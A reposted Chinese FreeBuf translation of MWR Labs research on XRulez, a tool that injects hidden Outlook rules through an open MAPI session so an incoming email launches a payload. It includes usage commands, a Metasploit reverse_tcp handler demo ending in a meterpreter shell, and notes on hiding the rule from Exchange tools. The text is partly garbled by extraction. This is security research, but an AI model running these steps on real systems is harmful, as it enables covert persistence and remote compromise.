搜索

[10492] 2016-09-11_你的Outlook真的安全？一条恶意规则远程攻陷你的工作站！

文档创建者：s7ckTeam
浏览次数：23
最后更新：2025-01-18
2016-09-11_你的Outlook真的安全？一条恶意规则远程攻陷你的工作站！ 你 的 O u t l o o k 真 的 安 全 ？ 一 条 恶 意 规 则 远 程 攻 陷 你 的 工 作 站 ！ S k y M i n e   F r e e B u f   2 0 1 6 - 0 9 - 1 1 背 景 背 景 当 前 ， 构 建 恶 意 当 前 ， 构 建 恶 意 O u t l o o k 规 则 的 限 制 条 件 都 比 较 苛 刻 ， 至 少 需 要 访 问 被 入 侵 系 统 的 交 互 规 则 的 限 制 条 件 都 比 较 苛 刻 ， 至 少 需 要 访 问 被 入 侵 系 统 的 交 互 G U I ， 或 者 拥 有 登 录 凭 证 ， 而 且 还 要 ， 或 者 拥 有 登 录 凭 证 ， 而 且 还 要 求 攻 击 方 直 接 与 求 攻 击 方 直 接 与 E x c h a n g e 服 务 器 进 行 交 互 。 不 过 服 务 器 进 行 交 互 。 不 过 M W R 的 一 名 实 习 生 的 一 名 实 习 生 L u k e   R o b e r t s 最 近 所 做 的 一 份 研 究 ， 给 出 了 不 一 样 的 答 最 近 所 做 的 一 份 研 究 ， 给 出 了 不 一 样 的 答 案 ， 通 过 案 ， 通 过 s h e l l 或 者 注 入 的 方 式 来 构 建 规 则 显 然 就 要 方 便 多 了 。 或 者 注 入 的 方 式 来 构 建 规 则 显 然 就 要 方 便 多 了 。 2 0 1 5 年 1 2 月 ， 尼 克 · 兰 德 斯 在 S i l e n t   B r e a k   S e c u r i t y 网 站 发 布 了 一 篇 题 为 《 恶 意 的 O u t l o o k 规 则 》 的 文 章 ， 在 这 篇 文 章 里 ， 他 讨 论 了 如 何 持 久 性 地 利 用 O u t l o o k 恶 意 规 则 。 其 实 ， 早 在 2 0 0 4 年 和 2 0 0 8 年 就 有 相 关 的 研 究 。 这 些 研 究 都 可 算 是 此 次 研 究 项 目 的 基 础 ， 在 您 继 续 往 下 看 文 章 之 前 ， 您 最 好 先 阅 读 一 下 尼 克 · 兰 德 斯 在 S i l e n t   B r e a k   S e c u r i t y 发 布 的 《 恶 意 的 O u t l o o k 规 则 》 。 L u k e 已 经 成 功 构 建 了 相 应 的 P O C   < 下 载 地 址 点 击 本 文 末 尾 的 “ 阅 读 原 文 ” 连 接 > 。 但 在 此 之 前 ， 不 妨 先 继 续 阅 读 这 篇 文 章 ， 了 解 更 多 有 关 这 款 工 具 的 信 息 ， 以 及 这 个 研 究 项 目 的 具 体 内 容 。 S e n s e P o s t 在 2 0 1 6 年 9 月 1 日 也 推 出 了 类 似 的 工 具 ， 真 是 英 雄 所 见 略 同 ！ 在 此 我 们 也 看 到 了 不 同 的 思 路 ， 这 里 我 们 也 强 烈 建 议 大 家 去 阅 读 他 们 的 研 究 。 简 介 简 介 简 介 简 介 在 O u t l o o k 中 设 定 一 条 规 则 ， 只 要 满 足 相 应 的 条 件 ， 就 能 在 接 收 邮 件 和 发 送 邮 件 的 时 候 执 行 某 些 操 作 。 比 如 说 ， 将 来 自 某 些 特 定 联 系 人 的 邮 件 进 行 分 类 ， 或 者 如 果 邮 件 标 题 包 含 某 个 关 键 词 ， 则 对 邮 件 进 行 标 注 。 另 外 这 里 所 说 的 “ 执 行 某 些 操 作 ” 也 可 以 是 运 行 某 个 应 用 ， 如 果 能 做 到 这 一 点 ， 那 么 一 切 都 变 得 相 当 有 趣 了 。 如 果 我 们 能 够 创 建 一 条 O u t l o o k 规 则 ， 目 标 是 执 行 p a y l o a d — — 发 出 邮 件 的 时 候 即 触 发 这 条 规 则 ， 也 就 是 说 目 标 设 备 发 送 一 封 邮 件 ， 就 能 执 行 p a y l o a d ， 是 不 是 听 起 来 很 不 错 ？ 实 际 上 ， 规 则 是 存 储 在 E x c h a n g e 服 务 器 上 的 。 这 些 规 则 会 和 所 有 的 O u t l o o k 客 户 端 同 步 。 目 标 设 备 在 不 同 的 位 置 登 录 时 ， 这 些 规 则 也 会 自 动 下 载 和 执 行 。 只 要 目 标 设 备 开 启 O u t l o o k 并 认 证 登 录 ， 那 么 我 们 在 不 需 要 获 取 登 录 凭 证 的 情 况 下 ， 就 能 拿 下 已 经 开 启 的 会 话 。 这 里 的 P o C 工 具 名 为 X R u l e z ， 这 是 个 W i n d o w s 可 执 行 程 序 。 用 它 将 接 收 信 息 规 则 注 入 到 E x c h a n g e ， 这 样 用 户 在 接 收 邮 件 时 ， 只 要 满 足 预 设 条 件 ， 比 如 标 题 中 出 现 特 定 关 键 词 ， 就 能 自 动 运 行 某 个 应 用 了 。 X R u l e z 连 接 到 E x c h a n g e 服 务 器 利 用 的 是 一 条 由 O u t l o o k 客 户 端 提 供 的 存 活 的 M A P I 会 话 （ M A P I ， 消 息 应 用 程 序 编 程 接 口 ） ， 然 后 在 默 认 接 收 相 关 信 息 表 里 创 建 新 邮 件 ， 这 是 目 标 邮 箱 的 存 储 规 则 。 然 后 填 写 新 创 建 的 邮 件 与 属 性 数 据 ， 包 括 规 则 名 称 、 条 件 和 操 作 参 数 。 一 旦 规 则 与 E x c h a n g e 同 步 ， 发 送 一 封 邮 件 就 能 在 目 标 设 备 上 触 发 攻 击 。 在 未 来 的 版 本 中 ， 我 们 将 会 添 加 更 多 的 条 件 和 操 作 ， 当 前 P O C 可 以 配 置 以 下 的 设 置 ： 触 发 条 件 ： 邮 件 标 题 的 关 键 词
执 行 操 作 ： 启 动 应 用 程 序 、 永 久 删 除 电 子 邮 件 、 终 止 规 则 规 则 触 发 时 ， 如 果 p a y l o a d 应 用 无 法 访 问 ， 就 会 弹 出 对 话 框 告 诉 用 户 规 则 无 法 成 功 执 行 ， 这 可 能 会 暴 露 攻 击 行 为 。 工 具 使 用 手 册 工 具 使 用 手 册 工 具 使 用 手 册 工 具 使 用 手 册 在 被 感 染 的 主 机 上 ： 1 . 上 传 X R u l e z . e x e 到 目 标 设 备 ； 2 . 执 行 X R u l e z . e x e 并 加 上 “ - l ” 参 数 来 查 看 目 标 系 统 上 已 安 装 的 M A P I 配 置 文 件 列 表 ； X R u l e z . e x e   - l 3 .   执 行 X R u l e z . e x e 并 加 上 “ - a ” 参 数 和 所 需 各 类 参 数 来 添 加 新 规 则 ； X R u l e z . e x e   - a   [ - - p r o f i l e P R O F I L E ]   [ - - n a m e   N A M E ]   [ - - t r i g g e r   T R I G G E R ]   [ - - p a y l o a d   P A Y L O A D ] 4 . 向 目 标 设 备 发 送 标 题 含 有 预 设 关 键 词 的 电 子 邮 件 ， 触 发 预 设 的 规 则 ； 5 . 等 S h e l l 吧 X R u l e z 在 添 加 新 规 则 时 ， 需 要 设 置 四 个 参 数 ： 1 . [ - - p r o f i l e P R O F I L E ] 配 置 文 件 名 称 ： O u t l o o k 的 配 置 文 件 名 ， 已 安 装 的 配 置 文 件 可 以 使 用 “ X R u l e z . e x e   - l ” 命 令 来 查 看 2 . [ - - n a m e   N A M E ] 规 则 名 称 ： 规 则 的 描 述 名 称 ， 例 如 “ 垃 圾 邮 件 过 滤 ” 3 . [ - -   t r i g g e r T R I G G E R ] 触 发 规 则 的 关 键 词 ： 这 个 关 键 词 将 会 在 收 到 邮 件 的 时 候 在 标 题 字 段 中 被 检 索 4 . [ - - p a y l o a d P A Y L O A D ] p a y l o a d 路 径 ： 条 件 满 足 时 ， 被 执 行 的 应 用 程 序 的 路 径 X R u l e z 会 在 “ % A P P D A T A % M i c r o s o f t O u t l o o k ” 这 个 目 录 下 的 . x m l 文 件 中 寻 找 O u t l o o k 的 配 置 文 件 ， 它 也 会 提 供 这 些 文 件 的 最 后 修 改 时 间 ， 而 且 会 基 于 这 些 修 改 时 间 给 出 O u t l o o k 配 置 文 件 的 选 择 建 议 。 . x m l 文 件 只 在 O u t l o o k 关 闭 的 时 候 更 新 ， 如 果 用 户 切 换 邮 箱 账 户 ， 可 能 会 有 些 小 麻 烦 。 不 过 大 多 数 的 用 户 只 有 一 个 叫 “ O u t l o o k ” 的 默 认 配 置 文 件 。 恶 意 规 则 成 功 建 立 后 ， X R u l e z 就 可 以 从 目 标 系 统 中 删 除 了 。 p a y l o a d 应 用 可 以 任 何 形 式 通 过 S h e l l E x e c 正 常 启 动 。 应 用 格 式 可 以 是 . e x e ,   . b a t ,   . v b s ， 但 不 包 含 . p s 1 文 件 ， 因 为 它 们 在 默 认 情 况 下 是 用 记 事 本 打 开 的 。 由 于 M A P I 是 和 架 构 相 关 的 ， 针 对 3 2 位 和 6 4 位 系 统 有 不 同 的 版 本 。 所 以 在 运 行 X R u l e z . e x e 之 前 ， 首 先 就 要 明 确 版 本 是 否 正 确 。 这 样 X R u l e z 才 能 正 确 运 行 ， 否 则 ， 可 能 会 弹 框 提 示 “ M A P I 无 法 找 到 O u t l o o k 客 户 端 ” 。 限 制 限 制 限 制 限 制
O u t l o o k 必 须 是 在 目 标 设 备 上 打 开 的 ， 否 则 ， 就 不 会 有 会 话 分 享 出 来 ， 也 就 无 法 连 接 E x c h a n g e ； O u t l o o k 是 使 用 S h e l l E x e c 来 打 开 p a y l o a d 程 序 的 ， 这 意 味 着 p a y l o a d 不 能 带 参 数 执 行 ， 这 就 要 求 p a y l o a d 必 须 是 磁 盘 上 或 者 外 部 的 所 有 封 闭 的 应 用 程 序 。 利 用 演 示 利 用 演 示 利 用 演 示 利 用 演 示 假 设 ： 假 设 ： 我 们 已 经 拿 下 了 目 标 设 备 ， 且 已 经 得 到 了 一 条 m e t e r p r e t e r 会 话 ， 现 在 我 们 来 寻 找 维 持 持 续 访 问 的 方 法 ； O u t l o o k 与 E x c h a n g e 服 务 器 有 一 个 已 经 通 过 验 证 的 会 话 ； 目 标 可 以 访 问 一 个 我 们 可 以 写 入 的 文 件 共 享 ； 我 们 可 以 正 常 发 送 邮 件 到 目 标 E x c h a n g e 账 号 。 1 . 首 先 ， 我 们 生 成 一 个 能 反 弹 m e t e r p r e t e r 的 p a y l o a d ， 并 将 此 p a y l o a d 放 置 到 一 个 开 放 的 S a m b a 文 件 共 享 空 间 中 。 r o o t @ k a l i : / s h a r e #   l s p a y l o a d . e x e 2 . X R u l e z . e x e 已 经 被 上 传 到 目 标 设 备 上 了 ， 并 且 在 W i n d o w s 的 命 令 行 中 带 “ - l ” 参 数 执 行 P O C ， 这 样 将 会 显 示 安 装 在 系 统 上 的 M A P I 配 置 文 件 。 C : d e m o > X R u l e z . e x e   - l _ _   _ _ _ _ _ _ _ _   _     /   / |   _ _ _     |   |   *   /   |   | _ /   /   _   _   |   |   _ _ _   _ _ _ _ /     |   /   |   |   |   | |   |   /   _   | _   / /   / ^   |   |     |   | _ |   | |   | |   _ _ /   /   / /   / _ |   _ |   _ _ , _ | | _ |   _ _ _ | / _ _ _ | -   E x c h a n g e   R u l e   I n j e c t o r [ X R u l e z ]   R u n n i n g   p r o f i l e   l o o k u p O u t l o o k ,   L a s t   A c c e s s e d   3 2   m i n u t e s   a g o .   ( S u g g e s t e d ) 3 . 现 在 ， 我 们 获 悉 了 配 置 文 件 名 为 “ O u t l o o k ” ， 我 们 可 以 用 “ - a ” 参 数 来 添 加 一 条 新 规 则 ， p a y l o a d 的 路 径 则 指 向 我 们 的 文 件 共 享 。
C : d e m o > X R u l e z . e x e   - a   - - p r o f i l e   O u t l o o k   - - n a m e   A C M E   C o r p :   S p a m   F i l t e r   - - t r i g g e r   s p a m   - - p a y l o a d   1 9 2 . 1 6 8 . 2 8 . 1 2 9 s h a r e p a y l o a d . e x e   _ _   _ _ _ _ _ _ _ _   _       /   / |   _ _ _     |   |     *   /   |   | _ /   /   _   _   |   |   _ _ _   _ _ _ _   /     |   /   |   |   |   | |   |   /   _   | _   /   /   / ^   |   |     |   | _ |   | |   | |   _ _ /   /   /   /   / _ |   _ |   _ _ , _ | | _ |   _ _ _ | / _ _ _ |   -   E x c h a n g e   R u l e   I n j e c t o r [ X R u l e z ]   A d d i n g   n e w   r u l e W i t h   P a r a m e t e r s : p r o f i l e   =   O u t l o o k n a m e   =   A C M E   C o r p :   S p a m   F i l t e r t r i g g e r   =   s p a m p a y l o a d   =   1 9 2 . 1 6 8 . 2 8 . 1 2 9 s h a r e p a y l o a d . e x e [ I n f o ]   I t   l o o k s   l i k e   O u t l o o k   i s   r u n n i n g ,   c o n t i n u i n g . . . [ I n f o ]   O p e n e d   f o l d e r :   ' I n b o x ' [ I n f o ]   A   n e w   m e s s a g e   i n   t h e   a s s o c i a t e d   m e s s a g e   t a b l e   h a s   b e e n   c r e a t e d [ I n f o ]   M e s s a g e   h a s   b e e n   p o p u l a t e d   w i t h   p r o p e r t i e s   a n d   s y n c e d   w i t h   E x c h a n g e . 4 . 一 条 O u t l o o k 规 则 就 这 样 成 功 创 建 了 ， O u t l o o k 客 户 端 与 E x c h a n g e 同 步 ， 下 载 我 们 的 规 则 可 能 需 要 一 点 时 间 。
5 . 接 下 来 ， 我 们 在 攻 击 设 备 这 里 加 载 m s f 框 架 的 h a n d l e r 模 块 ， 开 始 监 听 。 r o o t @ k a i l : / #   m s f c o n s o l e m s f   >   u s e   e x p l o i t / m u l t i / h a n d l e r   m s f   e x p l o i t ( h a n d l e r )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f   e x p l o i t ( h a n d l e r )   >   s e t   l h o s t   1 9 2 . 1 6 8 . 2 8 . 1 2 9 l h o s t   = >   1 9 2 . 1 6 8 . 2 8 . 1 2 9 m s f   e x p l o i t ( h a n d l e r )   >   s e t   l p o r t   5 5 5 5 l p o r t   = >   5 5 5 5 m s f   e x p l o i t ( h a n d l e r )   >   e x p l o i t [ * ]   S t a r t e d   r e v e r s e   T C P   h a n d l e r   o n   1 9 2 . 1 6 8 . 2 8 . 1 2 9 : 5 5 5 5   [ * ]   S t a r t i n g   t h e   p a y l o a d   h a n d l e r . . . 6 . 我 们 给 目 标 发 送 一 封 标 题 含 有 关 键 词 “ s p a m ” 的 邮 件 ， p a y l o a d 在 目 标 设 备 上 成 功 执 行 ， m e t e r p r e t e r 会 话 已 经 拿 下 。 [ * ]   S e n d i n g   s t a g e   ( 9 5 7 4 8 7   b y t e s )   t o   1 9 2 . 1 6 8 . 2 8 . 1 4 1 [ * ]   M e t e r p r e t e r   s e s s i o n   1   o p e n e d   ( 1 9 2 . 1 6 8 . 2 8 . 1 2 9 : 5 5 5 5   - >   1 9 2 . 1 6 8 . 2 8 . 1 4 1 : 4 9 3 2 7 )   a t   2 0 1 6 - 0 8 - 2 3   1 0 : 0 6 : 2 0   - 0 4 0 0
m e t e r p r e t e r   > 7 . 现 在 ， 如 果 用 户 使 用 E x c h a n g e 账 户 在 不 同 的 O u t l o o k 客 户 端 上 进 行 身 份 验 证 ， 那 么 该 规 则 将 会 被 重 新 下 载 ， 如 果 p a y l o a d 在 新 设 备 上 被 访 问 ， 那 么 它 也 会 发 挥 像 在 第 一 台 设 备 上 那 样 的 作 用 ， 当 条 件 满 足 时 ， 我 们 就 会 得 到 另 一 个 s h e l l 。 研 究 方 法 研 究 方 法 研 究 方 法 研 究 方 法 在 所 有 的 研 究 中 ， 理 解 h o w 和 w h y 是 非 常 重 要 的 。 下 面 的 章 节 ， 我 们 将 详 细 介 绍 尼 克 在 从 事 他 的 研 究 时 ， 他 所 采 取 的 方 法 和 过 程 。   “ 消 息 应 用 程 序 编 程 接 口 （ M A P I ） 是 一 种 消 息 传 送 架 构 和 M i c r o s o f t   W i n d o w s 基 于 A P I 的 组 件 对 象 模 型 。 M A P I 允 许 客 户 端 程 序 具 备 （ 电 子 邮 件 ） 通 信 功 能 ， 或 者 通 过 调 用 M A P I 子 系 统 例 程 的 某 些 邮 件 服 务 器 接 口 为 基 础 来 支 持 邮 件 传 输 ， 而 M A P I 则 被 设 计 为 独 立 于 协 议 的 ， 它 经 常 被 用 于 M A P I / R F C ， 一 个 O u t l o o k 与 E x c h a n g e 之 间 通 信 的 私 有 协 议 。 ” （ 来 源 ： 维 基 百 科 ） M A P I 可 提 供 非 托 管 式 地 访 问 一 个 用 户 邮 箱 中 的 文 件 夹 和 表 格 的 功 能 ， 它 可 以 做 各 种 有 趣 的 事 情 ， 比 如 说 阅 读 电 子 邮 件 、 修 改 预 约 以 及 创 建 规 则 ！ 第 一 步 第 一 步 我 这 个 研 究 的 第 一 步 就 是 了 解 在 创 建 、 存 储 或 / 和 传 输 过 程 中 ， 规 则 格 式 究 竟 是 什 么 样 的 。 在 了 解 E x c h a n g e 是 以 什 么 格 式 来 存 储 规 则 的 时 候 ， 我 所 用 的 工 具 是 “ M F C M A P I ” — — 一 个 系 统 管 理 员 用 来 调 试 E x c h a n g e 服 务 器 的 程 序 ， 这 个 工 具 没 有 提 示 我 输 入 身 份 凭 证 。 在 进 一 步 的 调 查 之 后 ， 我 发 现 ， 这 是 因 为 O u t l o o k 在 后 台 运 行 了 。 O u t l o o k 后 面 进 行 的 任 何 M A P I 连 接 都 是 已 经 通 过 验 证 的 ， 并 不 需 要 重 新 认 证 ， 允 许 现 有 的 M A P I 会 话 被 共 享 。   * M F C M A P I ： 是 E x c h a n g e 服 务 器 的 管 理 工 具 我 的 目 标 是 将 一 封 邮 件 添 加 到 默 认 接 收 文 件 夹 中 的 相 关 联 的 内 容 表 当 中 ， 相 关 联 的 内 容 表 也 就 是 数 据 存 储 所 在 的 位 置 ， 但 它 不 属 于 主 要 的 内 容 表 （ 你 平 常 的 邮 件 存 储 在 主 要 的 内 容 表 ） ， 这 里 存 储 的 数 据 包 含 你 的 偏 好 数 据 、 邮 件 管 理 数 据 和 规 则 数 据 。
首 先 ， 我 从 . m s g 文 件 成 功 导 入 了 恶 意 规 则 条 目 ， 一 个 带 有 条 件 和 操 作 的 测 试 规 则 被 成 功 创 建 。 通 过 来 自 M F C M A P I 的 代 码 ， 将 . m s g 文 件 导 入 到 相 关 联 的 内 容 表 中 ， 也 就 在 E x c h a n g e 服 务 器 上 创 建 规 则 了 ， 这 应 该 就 算 得 上 首 个 基 本 完 成 的 P O C 了 。 第 二 步 第 二 步 接 下 来 一 步 就 是 ， 在 规 则 被 导 入 的 时 候 ， 我 需 要 能 够 设 定 字 段 值 为 任 意 值 （ 规 则 名 称 、 触 发 关 键 词 、 触 发 应 用 程 序 的 路 径 ） 。 导 入 . m s g 文 件 时 ， 会 对 可 变 长 度 属 性 的 长 度 和 长 度 值 进 行 验 证 。 这 意 味 着 ， 如 果 字 段 被 修 改 ， 长 度 必 须 重 新 计 算 ， 长 度 字 段 也 会 被 更 新 。 虽 然 要 在 P O C 中 在 规 则 创 建 时 对 此 进 行 修 改 也 是 可 行 的 （ 也 许 并 不 困 难 ） ， 但 我 还 是 选 择 导 出 设 置 为 最 大 长 度 的 规 则 。 这 就 省 去 了 长 度 属 性 的 麻 烦 。 * M S G 文 件 ： 用 于 生 成 所 需 属 性 的 规 则 模 板 在 此 使 用 自 定 义 名 称 ， 标 题 关 键 词 触 发 和 应 用 程 序 路 径 来 添 加 一 条 规 则 。 然 而 ， 依 赖 于 外 部 模 板 M S G 文 件 并 不 理 想 ， 并 且 出 现 了 另 一 个 败 笔 ， 就 是 它 会 遗 留 一 个 日 志 之 类 的 文 件 ， 可 能 被 发 现 。 那 么 ， 我 们 下 一 步 就 是 要 研 究 如 何 脱 离 这 种 依 赖 关 系 ， 在 运 行 时 生 成 所 需 数 据 。 这 需 要 我 们 更 加 仔 细 地 观 察 M A P I 表 项 的 结 构 。 M A P I 表 项 是 由 一 个 长 长 的 属 性 列 表 构 成 的 ， 这 其 中 比 较 有 趣 的 是 P R _ R U L E _ M S G _ A C T I O N S 属 性 。 这 个 属 性 包 含 了 O u t l o o k 用 来 处 理 规 则 的 二 进 制 数 据 — — 这 正 是 我 需 要 编 辑 的 ， 用 以 改 变 规 则 名 称 、 触 发 条 件 和 应 用 程 序 路 径 。 不 过 ， 首 先 我 需 要 找 到 导 入 数 据 的 不 同 方 法 。 第 三 步 第 三 步 在 M S D N 上 有 一 段 代 码 展 示 了 如 何 修 改 接 收 特 定 邮 件 的 敏 感 度 来 创 建 一 个 规 则 ， 这 段 代 码 是 通 过 手 动 设 置 关 键 属 性 和 在 规 则 表 中 添 加 一 个 行 起 作 用 的 。 这 基 本 已 经 能 够 达 到 目 的 了 ， 似 乎 已 经 充 满 了 希 望 ， 但 是 我 在 测 试 中 却 遇 到 了 关 于 设 置
P R _ R U L E _ M S G _ A C T I O N S 属 性 的 问 题 。 该 属 性 的 描 述 文 档 谈 到 ， 这 是 客 户 端 生 成 的 不 透 明 b l o b ， 但 它 也 会 被 用 于 验 证 。 当 字 段 为 空 白 或 者 设 置 有 误 的 时 候 ， O u t l o o k 将 会 无 视 这 条 规 则 ， 并 且 将 其 删 除 。 回 首 之 前 导 入 . m s g 文 件 的 这 种 方 法 ， 我 在 表 中 创 建 一 个 空 白 的 邮 件 ， 将 文 件 中 的 属 性 （ 包 括 P R _ P R O V I D E R _ D A T A ） 导 入 到 一 个 数 组 中 ， 再 从 数 组 中 把 文 件 属 性 复 制 到 空 白 的 邮 件 当 中 ， 而 不 是 在 规 则 表 中 添 加 一 行 ， 我 重 复 执 行 这 个 操 作 。 不 过 要 从 文 件 中 读 取 属 性 ， 我 还 尝 试 用 有 效 数 据 生 成 我 自 己 的 属 性 数 组 。 用 这 种 方 法 ， 数 据 也 会 被 接 受 ， O u t l o o k 能 够 正 常 读 取 和 处 理 规 则 ， 这 意 味 着 ， 模 板 文 件 不 再 需 要 ， 这 个 步 骤 也 能 在 内 存 中 完 成 。   * 属 性 ： 存 储 在 消 息 关 联 内 容 表 中 的 条 目 属 性 在 应 用 测 试 中 ， 我 发 现 O u t l o o k 用 来 显 示 的 规 则 属 性 和 E x c h a n g e 所 用 的 属 性 是 不 一 样 的 ， 例 如 ， O u t l o o k 是 使 用 P R _ R U L E _ M S G _ A C T I O N S 来 存 储 规 则 名 称 的 ， 而 E x c h a n g e 使 用 的 却 是 P R _ R U L E _ M S G _ N A M E ， 如 果 将 属 性 设 置 为 空 ， 那 么 规 则 自 然 就 出 错 了 ， 但 O u t l o o k 仍 然 能 够 正 确 处 理 。 这 样 一 来 ， 无 论 是 O u t l o o k   W e b   A p p （ E x c h a n g e 服 务 进 行 交 互 的 w e b 界 面 ） ， 还 是 在 E x c h a n g e 管 理 控 制 台 中 的 G e t - I n b o x R u l e s 都 不 会 显 示 该 规 则 的 存 在 性 ， 而 只 会 提 示 通 用 错 误 。 所 以 ， 要 创 建 脚 本 来 检 查 规 则 的 存 在 性 是 有 难 度 的 。 注 ： 注 ： O u t l o o k 应 用 程 序 并 不 会 显 示 由 应 用 程 序 并 不 会 显 示 由 X R u l e z 创 建 的 任 何 规 则 创 建 的 任 何 规 则
我 很 享 受 这 项 研 究 ， 并 且 希 望 这 个 工 具 能 够 成 为 渗 透 工 具 集 的 一 部 分 。 另 外 ， 对 安 全 团 队 而 言 ， 这 也 是 相 当 重 要 的 情 报 。 *   参 考 来 源 ： M W R   L a b s ， 本 文 由 S k y M i n e 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理